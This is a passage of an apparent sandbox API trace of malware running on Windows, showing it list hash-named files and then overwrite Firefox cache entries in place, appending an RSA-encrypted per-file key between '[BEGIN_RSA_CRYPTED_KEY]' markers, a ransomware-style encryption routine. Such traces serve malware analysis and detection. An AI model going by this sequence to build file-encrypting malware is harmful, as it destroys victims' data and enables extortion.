ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40a99643, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x14847, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8DB62C64DCFF7E1003C3E4440ADCDB338E0EC130", cAlternateFileName="8DB62C~1")) returned 1 [0251.367] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3330357, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3330357, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcac0ec23, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x15261, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8E46B30B8A6CD2DC14E8C6957D0707ABC329598F", cAlternateFileName="8E46B3~1")) returned 1 [0251.367] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1a20, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8E75488310FCEE9798415D0A12C6809233B39D0A", cAlternateFileName="8E7548~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e0cf4d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45e0cf4d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45e0cf4d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8F27E0DD6B745A71BFEF380695A51D56F3EF3131", cAlternateFileName="8F27E0~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435f53f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x435f53f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x43706bf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x232c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="90873B6220C4B6986D18F883E40CDFF4130FA25D", cAlternateFileName="90873B~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc191c770, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc191c770, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3fead850, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x112a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="9097930649FE7A5ED5C370E284F3159B56458EFF", cAlternateFileName="909793~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc69a5eeb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc69a5eeb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc69a5eeb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1990, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="9149829A8F4CDF7E46336AA2EB0F95DA9369301D", cAlternateFileName="914982~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa69897, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcaa69897, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcaa6e6c6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x524a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="91FFA32B495A7A655236E9625A48F0CAACC3A677", cAlternateFileName="91FFA3~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="926B4864A9252277C983BFD76A41E31DF701CB26", cAlternateFileName="926B48~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b11f48, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45b11f48, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e9, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="92B4D727ADE4E764DD3FA5E06965666378F08CFF", cAlternateFileName="92B4D7~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcac0c51d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcac0c51d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcac0ffc5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x23d41, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="930D48D86E06AEFA87D0F4EC58A054957534F7E7", cAlternateFileName="930D48~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d1b138, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42d1b138, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x72924653, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ab7, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="941A1B56BB6C49802B2D2C51ED172A4A9F7D360C", cAlternateFileName="941A1B~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0c25ace, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc0c25ace, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1f5518e4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb7d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="950506BC89C1114E4E75E993855000430CECD9D9", cAlternateFileName="950506~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e65614, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4e65614, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e7a22a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="9562ACA5B7D12C4434606DB907926F6EF9F36E1C", cAlternateFileName="9562AC~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba2f3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3ba2f3e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3ba42a5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x15fb, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="96090AC30D21DB80DB37F7E0C5E3C92231AAC295", cAlternateFileName="96090A~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x190d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="966A39DB849E895760A253D43B68E29A7533C445", cAlternateFileName="966A39~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe9a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="96D1160442CDA797188E30E830373B3E7F7E44D4", cAlternateFileName="96D116~1")) returned 1 [0251.368] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="979C819D6C7504D17BB5A3F483ADA0C1FF961E27", cAlternateFileName="979C81~1")) returned 1 [0251.406] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.406] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FFD1022F7470CD59566BB3A7B6E168A4387700CA", dwFileAttributes=0x80) returned 1 [0251.417] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x344d0f8 [0251.417] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0251.417] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0xe3d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe3d, lpOverlapped=0x0) returned 1 [0251.438] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.439] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0xe3d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe3d, lpOverlapped=0x0) returned 1 [0251.439] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe3d [0251.439] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.439] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.440] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.440] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.440] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.440] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0251.441] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="eN4yDW0IR+rxeidIX8EFWRv6OwJ462b4IcCI7uejUZr4k0yHD7c2pDy9/ulJap0R\niFpQb/IPqIViRkciXriwKio693EWWi8RCYtpaY0vQC7xc9KJt6VEEVmAc+ZVphp6\nVExQ7dMt7rmQ7E4FGC2zwMhddfV2s57zyjJL29HNspeWIcLjci5ftcs1GucdrVvU\n6YSL1rsyekV+6iqtoRpKg8DgfB6KnesFBRw0IdZNE+XGcHfakXSPUTifAhIQ975s\n6kuchemFdl8/XZ5YJtQryN9NLq6/kEA2EEYEuHs6V5145Aemi7bYN1OKH0vDI1i4\nT9wN24FLKGyK3tJ0lQt+Mg==\n", pcchString=0x2e3f9a8) returned 1 [0251.441] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.441] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.441] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.441] CloseHandle (hObject=0x1b84) returned 1 [0251.444] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.444] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FF308582A6E017961806B4F720E48F59AE7B2685", dwFileAttributes=0x80) returned 1 [0251.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x344c498 [0251.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0251.444] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x10e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x10e6, lpOverlapped=0x0) returned 1 [0251.501] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4326, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.501] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f148*, nNumberOfBytesToWrite=0x10e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f148*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10e6, lpOverlapped=0x0) returned 1 [0251.502] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10e6 [0251.502] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.502] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.502] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.502] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.503] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.503] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0251.503] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="AzZLNwLubTsR33WmLUPNDH8gHflgY+T+2j52msv99zmW6sOJzBSKga6RsMpWrY31\n2fb9R+hjW+zs+NygvtziPe9qsTge6b1OLwcBSQMEHoEFCZ3ISepFu3NfYQi5X6i5\ndxXKZjdD5AQaIWizNIuksWdMdBrYs9hkhoDgIIAGkwOciF0hYvmghkh1m9el+cLC\nx8nvjb39CmVrU9eWBRlCviEd+/wpRcxworZyq9iKv6XCPyM5DIrbD3BgraOXhvPq\nqDy3wZXalhmoHYFsi7mcyhznP5a533ctXP8pbk3yBfZdIv8Pa+edgFs0/vDkRB6s\nSBydtNOTyF2bH8ogAhbebg==\n", pcchString=0x2e3f9a8) returned 1 [0251.503] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.503] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.503] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.503] CloseHandle (hObject=0x1b84) returned 1 [0251.504] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.505] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FEFCB3F72BAC64E46E92EB16FB65FAAA7ABABCD0", dwFileAttributes=0x80) returned 1 [0251.505] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x344d0f8 [0251.505] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0251.505] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0x8fd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0x8fd, lpOverlapped=0x0) returned 1 [0251.518] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.518] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0x8fd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8fd, lpOverlapped=0x0) returned 1 [0251.519] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8fd [0251.519] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.519] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.519] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.519] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.519] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.519] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0251.519] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="o9enBCrnpcl56NKRAkctLLuwZpvGSMmaCXj0fl5Onc+dbcDa7kq2LbOKfW7RG4/O\nsshDFule6q9u5VN3YolIIzeSLvmY+0pl8DZ+vd8bjA7f62+znx5o20TJNQ8Rk0jo\nrElSXZTdY+d313z0TTBDwHE3r0eIK3UgU3zMdxZYcArg4geTA5IDvWkjXSJW2sSE\nNqkFyFWS4aBg8jrVzNmKh6nAky8r9Z6/poctfMP7YIkYbX8pyGTHkBSLBqKzHT8q\nUFgaT4Z2FFuVfm5J83P3Y45sTBWyDqeedPXdLP7xExewcItLVYp0pJmXUcqGB35o\n3gq/fEusW53BWK4Ns45Ubw==\n", pcchString=0x2e3f9a8) returned 1 [0251.519] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.520] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.520] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.520] CloseHandle (hObject=0x1b84) returned 1 [0251.522] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.522] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FEC8E4F494F98E32D16548D6CF1EE3AE56ADAC21", dwFileAttributes=0x80) returned 1 [0251.522] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x344c390 [0251.522] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0251.522] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0xe46, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe46, lpOverlapped=0x0) returned 1 [0251.584] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3654, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.584] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0xe46, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe46, lpOverlapped=0x0) returned 1 [0251.585] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe46 [0251.585] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.585] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.585] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.586] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.586] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.586] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0251.586] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="u0eys1lIvhd6z52ms1pKGb5btB2fdW3ob+MH4Cefl/wHl/4jetIvA0uRYkcnYZJi\n4ed9klmmDLP4yUA3rGvqsEfbudWCEU9ohIzYNq8/S/s13bGn3DiUoVfmCboB7+mb\nJ7u9SiSXobW3Xj+QH3RvreNSXhN0kwdox3rbg0EMQVNe1qMJCd+fvgIsEVe0WXHw\neKrmuS/4IInTz5EbQjZ+K79tw/Fwsd2oW1uyZVxQY2tBvObmfpZ+pY2B5Moa+D2G\nBuEnxLHXyfwWOOkdNIcAzZjf5Yndp1ed0eAsdCTjwYE81HnGZzG4y8xt18/z40lx\nE6M+QhK/MV3s+J+kYNdJFg==\n", pcchString=0x2e3f9a8) returned 